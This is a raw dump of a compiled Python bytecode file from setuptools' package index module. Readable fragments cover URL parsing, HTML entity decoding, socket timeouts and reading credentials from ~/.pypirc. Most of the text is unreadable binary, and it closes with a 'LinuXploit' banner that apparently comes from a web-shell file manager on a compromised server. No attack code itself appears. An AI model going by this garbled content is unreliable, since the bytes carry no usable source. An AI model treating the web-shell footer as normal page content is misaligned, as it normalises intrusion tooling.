�'�0�0��5���!�Q��/�/��4����	�	�F�3�%�|�C�5��X�J�?�@����s�G�Y��F�G���d�H�j�)�S�A��W�h��d�D�#�t�D�
���?��I�I�
�c�U�+�,��!�!�+�"2�3��r1c	�4�\PPV4PpVR8XdG\PP\PP
V4P4#VPVR4VPW4#)rT)
r8rr�ror��url2pathnamer9r@r��_attempt_download)r�r<r_ros&&& r#r��PackageIndex._download_other�sm�����&�&�s�+�2�2���V���>�>�.�.�v�|�|�/D�/D�S�/I�/N�/N�O�O����C����%�%�c�4�4r1c��V^8�dQhRR/#r�r�)r�s"r#r�r��s��$�$�t�$r1c	�*�VPVR4R#)TN)r�rCs&&r#r:�PackageIndex.scan_url�s������d�#r1c	��VPW4pRVPRR4P49dVPWV4#V#)r�r�r�)r�r�r)�_invalid_download_html)r�r<r_r�s&&& r#r��PackageIndex._attempt_download�sF���#�#�C�2���W�[�[���4�:�:�<�<��.�.�s�X�F�F��Or1c	�J�\P!V4\RV24h)zUnexpected HTML page found at )r^rXr)r�r<r�r_s&&&&r#r��#PackageIndex._invalid_download_html�s!��
�	�	�(���=�c�U�C�D�Dr1c
�X�\PPV4pVPP	R^4R,pVP
P
R4wppVPR4wrVpV'dWW3MVR3wr�VPVVRR7P4p
W�3#)a�
Given a possible VCS URL, return a clean URL and resolved revision if any.

>>> vsrfu = PackageIndex._vcs_split_rev_from_url
>>> vsrfu('git+https://github.com/pypa/setuptools@v69.0.0#egg-info=setuptools')
('https://github.com/pypa/setuptools', 'v69.0.0')
>>> vsrfu('git+https://github.com/pypa/setuptools#egg-info=setuptools')
('https://github.com/pypa/setuptools', None)
>>> vsrfu('http://foo/bar')
('http://foo/bar', None)
r�r5�@Nr�)ror@rCr6)
r8rr�ror;r@r��
rpartition�_replace�geturl)r<r=�clean_scheme�no_fragment_pathr�r�r��post�
clean_pathr��resolveds&          r#r��$PackageIndex._vcs_split_rev_from_url�s������%�%�c�*���|�|�)�)�#�q�1�"�5��"'���!5�!5�c�!:���!�Q�)�4�4�S�9���$�),�3�+�4��,��
��>�>����	"�
�
�&�(�	��}�r1c��V^8�dQhRR/#r�r�)r�s"r#r�r��s����4�r1c	�6�\P!V.VO5!R#rq)rr�rGs&&*r#r��PackageIndex.debug�s���	�	�#���r1c��V^8�dQhRR/#r�r�)r�s"r#r�r�������$�r1c	�6�\P!V.VO5!R#rq)rr�rGs&&*r#r��PackageIndex.info���������t�r1c��V^8�dQhRR/#r�r�)r�s"r#r�r��r�r1c	�6�\P!V.VO5!R#rq)rrrGs&&*r#r�PackageIndex.warn�rr1)r�r�r�r�r�r�r�)zhttps://pypi.org/simple/)�*NT)Frq)FFFN)FF)/r�r�r�r�r�r�r�r�r�r�r"rr1r�r9rBrOrSr[rbrRrMr4rmr�rlr�r�r�r��staticmethodr�r�r�rkr�r�r�r:r�r�r�r�r�rr��
__classcell__�r�s@r#rr,s���E�-�-�$!�31�j'� � ?�� 2� 
�:
�&�
�6��
)��� P�DP?�d
�'�R�L� �D
�N�@�+��+�8�*��*�,X��1��1�$�25�$��E�����>���r1z!&(#(\d+|x[\da-fA-F]+)|[\w.:-]+);?c�P�VP^4p\P!V4#)�)rKr��unescape)rI�whats& r#�
decode_entityr�s���;�;�q�>�D��=�=���r1c�"�\\V4#)z�
Decode HTML entities in the given text.

>>> htmldecode(
...     'https://../package_name-0.1.2.tar.gz'
...     '?tokena=A&amp;tokenb=B">package_name-0.1.2.tar.gz')
'https://../package_name-0.1.2.tar.gz?tokena=A&tokenb=B">package_name-0.1.2.tar.gz'
)�
entity_subr)�texts&r#r�r��s���m�T�*�*r1c�a�V3RlpV#)c�<a�VV3RlpV#)c��<�\P!4p\P!S4S!V/VB\P!V4# \P!T4i;irq)�socket�getdefaulttimeout�setdefaulttimeout)rrrs�old_timeoutrt�timeouts*, ��r#�_socket_timeout�@socket_timeout.<locals>._socket_timeout.<locals>._socket_timeout�sN��� �2�2�4�K��$�$�W�-�
6��T�,�V�,��(�(��5���(�(��5�s�A�A$r�)rtrrsf �r#r�'socket_timeout.<locals>._socket_timeout�s���	6��r1r�)rrsf r#�socket_timeoutr�s���	��r1c���\PPV4pVP4p\P
!V4pVP
4pVPRR4#)a
Encode auth from a URL suitable for an HTTP header.
>>> str(_encode_auth('username%3Apassword'))
'dXNlcm5hbWU6cGFzc3dvcmQ='

Long auth strings should not cause a newline to be inserted.
>>> long_auth = 'username:' + 'password'*10
>>> chr(10) in str(_encode_auth(long_auth))
False
�
r�)r8rr:�encode�base64�	b64encoder��replace)�auth�auth_s�
auth_bytes�
encoded_bytes�encodeds&    r#�_encode_authr'�sR���\�\�
!�
!�$�
'�F�����J��$�$�Z�0�M��"�"�$�G��?�?�4��$�$r1c�<�]tRtRt$RtR]R&R]R&RRltRtR	#)
�
Credentializx
A username/password pair.

Displayed separated by `:`.
>>> str(Credential('username', 'password'))
'username:password'
r��username�passwordc��V^8�dQhRR/#)rhr�r�r�)r�s"r#r��Credential.__annotate__s��2�2��2r1c	�8�VPRVP2#)r�)r*r+r�s&r#�__str__�Credential.__str__s���-�-���$�-�-��1�1r1r�N)r�r�r�r�r��__annotations__r/r�r�r1r#r)r)s����M��M�2�2r1r)c�Da�]tRtRtV3Rlt]R4tRtRtRt	V;t
#)�
PyPIConfigic
�4<�\P.ROR4p\SV`
V4\P
P
\P
PR4R4p\P
PV4'd\W4R#R#)z
Load from ~/.pypirc
r��~z.pypircN)r*r+�
repository)
r��fromkeysr�r�r^r@rn�
expanduserrr)r��defaults�rcr�s&  �r#r��PyPIConfig.__init__sf����=�=�!G��L��
����"�
�W�W�\�\�"�'�'�,�,�S�1�9�
=��
�7�7�>�>�"���(��2�r1c	���VP4Uu.uF-pVPVR4P4'gK+VNK/	pp\\	VP
V44#uupi)r6)�sectionsr�r�r�r�_get_repo_cred)r��section�sections_with_repositoriess&  r#�creds_by_repository�PyPIConfig.creds_by_repository'sc�� �=�=�?�&
�*���x�x���.�4�4�6�
�G�*�	#�&
��C��+�+�-G�H�I�I��
&
s�(A'�A'c	���VPVR4P4pV\VPVR4P4VPVR4P443#)r6r*r+)r�r�r))r�r?�repos&& r#r>�PyPIConfig._get_repo_cred1s]���x�x���.�4�4�6���Z��H�H�W�j�)�/�/�1��H�H�W�j�)�/�/�1�
�
�	
r1c
��VPP4F wr#VPV4'gKVu#	R#)zt
If the URL indicated appears to be a repository defined in this
config, return the credential for that repository.
N)rA�itemsr+)r�r<r6�creds&&  r#�find_credential�PyPIConfig.find_credential8s:��
!%� 8� 8� >� >� @��J��~�~�j�)�)���!A�r1r�)r�r�r�r�r��propertyrAr>rIr�rrs@r#r3r3s-���	3��J��J�
��r1r3c���\PPV4pVwr4rVrxVPR4'd \P
P
R4hVR9d\V4wr�MRRr�V	'gS\4PV4pV'd2\V4p	VPV3p\P!R.VO5!V	'diR\V	4,p	W:WVWx3p
\PPV
4p\P P#V4pVP%RV	4M\P P#V4pVP%R\&4V!V4pV	'dk\PPVP(4wppppppVV8Xd4VV
8Xd-VVVVVV3p
\PPV
4VnV#)	z4Open a urllib2 request, handling HTTP authenticationr�znonnumeric port: ''Nz*Authenticating as %s for %s (from .pypirc)zBasic �
Authorizationz
User-Agent)r��https)r8rr9r*r�r�r��
_splituserr3rIr�r*rr�r'�
urlunparser��Request�
add_header�
user_agentr<)r<r��parsedro�netlocr@�params�queryr>r"�addressrHr�r=r=r�r��s2�h2�path2�param2�query2�frag2s&&                     r#r�r�Cs����\�\�
"�
"�3�
'�F�06�-�F�D�%����s����k�k�$�$�%:�;�;�
�"�"�"�6�*�
��g��t�g���|�+�+�C�0����t�9�D��=�=�#�%�D��H�H�A�I�D�I���,�t�,�,����u�:���,�,�)�)�%�0���.�.�(�(��1�����?�D�1��.�.�(�(��-�����|�Z�0�	���B��06�|�|�/D�/D�R�V�V�/L�,��B��v�v�u�
��<�B�'�M����v�v�u�<�E��\�\�,�,�U�3�B�F�
�Ir1c�H�VPR4wrpV'dW3#RV3#)zJsplituser('user[:passwd]@host[:port]')
--> 'user[:passwd]', 'host[:port]'.r�N)r�)�host�user�delims&  r#rOrOss,������,��D���D�*�*�t�d�*�*r1c��V#rqr�)r<s&r#�
fix_sf_urlrd~s���Jr1c��\PPV4wrr4rV\PP	V4p\
PPV4'd \PPV4#VPR4'd�\
PPV4'd�.p\
P!V4F|p	\
PPWy4p
V	R8Xd\V
4pMn\
PPV
4'd
V	R,
p	VPRV	RV	R24K~	RpVPVRPV4R7p^�R	r�MR
RRr�p
R
R/p\ P"!V4p\P$P'W
W�V4#)z7Read a local path, with special support for directoriesr3z
index.htmlz	<a href="z">z</a>zB<html><head><title>{url}</title></head><body>{files}</body></html>r)r<�files�OKr�zPath not foundz	Not foundr�z	text/html)r8rr9r�r�r^r@�isfiler�r*r	rrnrr`r��io�StringIOr�r�)r<r>�_serverr@�_paramrB�_fragr_rfr�filepath�bodyr�status�messager��body_streams&                r#r�r��sW��4:�L�L�4I�4I�#�4N�1�G�d�F��~�~�*�*�4�0�H�	�w�w�~�~�h����~�~�%�%�c�*�*�	
���s�	�	����
�
�h� 7� 7������H�%�A��w�w�|�|�H�0�H��L� �/��9��������x�(�(��S����L�L�9�Q�C�r�!��D�1�2�&�X�D��;�;�3�d�i�i��.>�;�?�D��t�� #�%5�{����{�+�G��+�+�d�#�K��<�<�!�!�#�w��M�Mr1)rrMr0rJrq)�)br��
__future__rr�configparserr�r��http.clientr�rirr^rcr�rr��sys�urllib.errorr8�urllib.parse�urllib.request�fnmatchr�	functoolsr�typingr�more_itertoolsr�
setuptools�
pkg_resourcesr	r
rrr
rrrrrrrrr�setuptools.wheelr�
unicode_utilsrr�	distutilsr�distutils.errorsrr�rH�Ir�r;rIr�r;rV�__all__�_SOCKET_TIMEOUT�__version__�version_info�major�minorrSr$r0rDrMrGr`rJrwr{r�r�r�rr<rrr�rr'r)�RawConfigParserr3r�r�r�rOrdr�r�r1r#�<module>r�s$��*�"�
�����	��	�	�
�
��
�������*������ #�Q��+��z�z�6�7��	�z�z�3�R�T�T�:��
�:�:�J����Z�Z�,�b�d�d�
3�
9�
9�
�
.�
4�
4�
6�
������:�1�1�2�/�#�BR�BR�BX�BX�AY�YZ�[^�[k�[k�[q�[q�Zr�
s�
���0�	� �F�.2�k�TX��D
�	�j�j�K�R�T�T�R���
�L��L�$��2�.��Bb
�;�b
�N�Z�Z�<�
=�
A�
A�
��
	+��%�*
2��
2� %��-�-�%�P &�~�~�5�5�+�`+� ��0��@���Nr1

Youez - 2016 - github.com/yon3zu
LinuXploit